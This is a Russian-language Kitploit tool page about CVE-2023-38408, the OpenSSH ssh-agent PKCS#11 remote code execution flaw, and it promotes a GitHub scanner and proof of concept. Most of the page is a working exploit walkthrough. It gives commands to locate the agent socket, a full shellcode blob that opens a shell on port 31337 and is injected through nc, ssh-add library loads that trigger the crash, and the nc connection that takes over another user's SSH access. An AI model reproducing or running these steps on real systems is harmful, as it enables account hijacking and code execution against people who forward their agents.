Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-38408 — CVE-2023-38408 Сканер уязвимостей SSH и PoC | Kitploit
Инструменты/GitHubGitHub/tx-one/cve-2023-38408
Сканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияШелл-кодТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного Доступа
GitHubtx-one/cve-2023-38408

CVE-2023-38408

CVE-2023-38408 Сканер уязвимостей SSH и PoC

Репозиторий
711 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уязвимость OpenSSH - CVE-2023-38408 📚

Введение

Уязвимость была обнаружена в OpenSSH (до версии 9.3p2). Функция PKCS#11 в ssh-agent в OpenSSH имеет недостаточно надежный путь поиска, что приводит к удаленному выполнению кода, если агент пересылается на систему, контролируемую злоумышленником (код в /usr/lib не обязательно безопасен для загрузки в ssh-agent). Эта ошибка позволяет злоумышленнику, контролирующему пересылаемый сокет агента на сервере и имеющему возможность записи в файловую систему клиентского хоста, выполнить произвольный код с привилегиями пользователя, запустившего ssh-agent.

В приведенном ниже примере мы можем кратко наблюдать шаги от исследования до компрометации пользователя alice.

  • Шаг 1 - Атакующий пользователь подключается по SSH к серверу.
  • Шаг 2 - Пользователь Alice также подключен по SSH к серверу.
  • Шаг 3 - Злоумышленник создает shellcode для отправки через процесс SSH на целевой сервер.
  • Шаг 4 - Shellcode, отправленный злоумышленником, использует уязвимость PKCS#11 в ssh-agent и создает новый процесс, перехватывая SSH-доступ пользователя Alice.
  • Шаг 5 - По-прежнему через обычный доступ злоумышленника можно выполнять операционные команды от имени пользователя Alice, обращаясь к эксплойту, созданному в shellcode, через nc localhost 31337.

Как это сделать? давайте создадим POC

Как упоминалось ранее, в этом POC мы будем использовать 2 пользователей, подключенных к серверу по SSH. Чтобы выполнить следующие шаги, мы предполагаем, что оба пользователя уже имеют доступ к серверу (SSH).

  1. Получите PID агента SSH, работающего на удаленной атакующей машине, и экспортируйте его в переменную окружения. Мы также добавили через ssh-add файл linuxx64.elf.stub (загрузочный заглушка UEFI)
root@kitploit:~
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub

  1. теперь, чтобы скопировать shellcode в процесс с использованием SSH, необходимо выполнить следующие шаги, находясь на атакующей машине;
root@kitploit:~
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"

Наконец, нажмите Ctrl-C, чтобы остановить передачу netcat, когда shellcode успешно помещен в память агента.

  1. На этом шаге мы загрузим 3 файла через ssh-add; libttcn3-rt2-dynamic.so, libKF5SonnetUi.so.5.92.0 и libns3.35-wave.so.0.0.0. Следующим шагом процесса эксплуатации является регистрация обработчика сигнала Segmentation Fault (SIGSEGV).

[!NOTE] Запуск SIGSEGV 💬
SIGSEGV — это сигнал, известный компьютерному процессу, который возникает, когда происходит недопустимая ссылка на память (ошибка сегментации). При получении сигнала SIGSEGV ядро распознает, что произошел недопустимый доступ к памяти, и вызывает пользовательский обработчик сигнала, а не аварийно завершает программу. Таким образом, злоумышленник получает возможность манипулировать выполнением программы и направлять ее к внедренному вредоносному коду, расположенному в NOP-салазках.

root@kitploit:~
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[Enter for passphrase]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[Enter for passphrase]

  1. На этом этапе нам уже удалось эксплуатации пользователя Alice через SSH-доступ злоумышленника к серверу, выполнив приведенную ниже команду, созданную shellcode. 🔥
root@kitploit:~
nc localhost 31337

Влияет ли CVE-2023-38408 на меня ❓

Уязвимость в первую очередь затрагивает системы, где используется SSH-agent OpenSSH и включена функция пересылки агента. Организациям и частным лицам, полагающимся на OpenSSH, следует оперативно оценить свои конфигурации, чтобы определить потенциальную подверженность. Если ваша система соответствует указанным условиям, крайне важно немедленно принять меры для снижения риска, связанного с CVE-2023-38408.

Автоматизация обнаружения CVE с помощью моего инструмента

Установка

root@kitploit:~
git clone https://github.com/TX-One/CVE-2023-38408.git
cd CVE-2023-38408

Использование

root@kitploit:~
python CVE-2023-38408_scanner.py -t <target> -p <port>

Протокол потока

root@kitploit:~
Client                          Server
  | --- SSH-2.0-Client_Test ----> |
  | <---- SSH Server Banner ----- |

Пример вывода

root@kitploit:~
TXOne SSH Vulnerability Scanner : CVE-2023-38408
Developed by TXOne

[+] Connecting to 192.168.1.100:22...
[+] Received banner: SSH-2.0-OpenSSH_9.2
[+] OpenSSH Version Detected: 9.2
[!] Vulnerable OpenSSH version detected: 9.2

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Всегда получайте соответствующее разрешение перед сканированием любых сетевых ресурсов.

Скачать инструмент